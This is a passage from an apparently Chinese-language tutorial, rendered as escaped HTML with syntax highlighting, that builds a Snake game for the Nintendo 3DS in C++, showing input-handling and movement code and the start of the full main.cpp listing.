&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hidKeysDown&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hidKeysHeld&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; getNewHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_UP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_DOWN&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_LEFT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_RIGHT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    point head &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;front&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    switch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;direction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; direction is a global variable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        __builtin_unreachable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;完整代码&quot;&gt;完整代码&lt;&#x2F;h2&gt;
&lt;p&gt;把前面各小节的内容组合起来，就是完整的游戏了。184&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;行，不多也不少。&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;点我展开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main.cpp&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;3ds.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;algorithm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;cstdio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;vector&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;const unsigned&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_WIDTH &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 50&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;const unsigned&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt; gameOver &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;enum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt; Direction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    right&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Direction direction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt; point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;pair&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;unsigned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; unsigned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;vector&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;point apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PrintConsole topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; bottomScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;const char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt; point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; gameStart&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;push_back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;push_back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;push_back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    apple &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;= {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
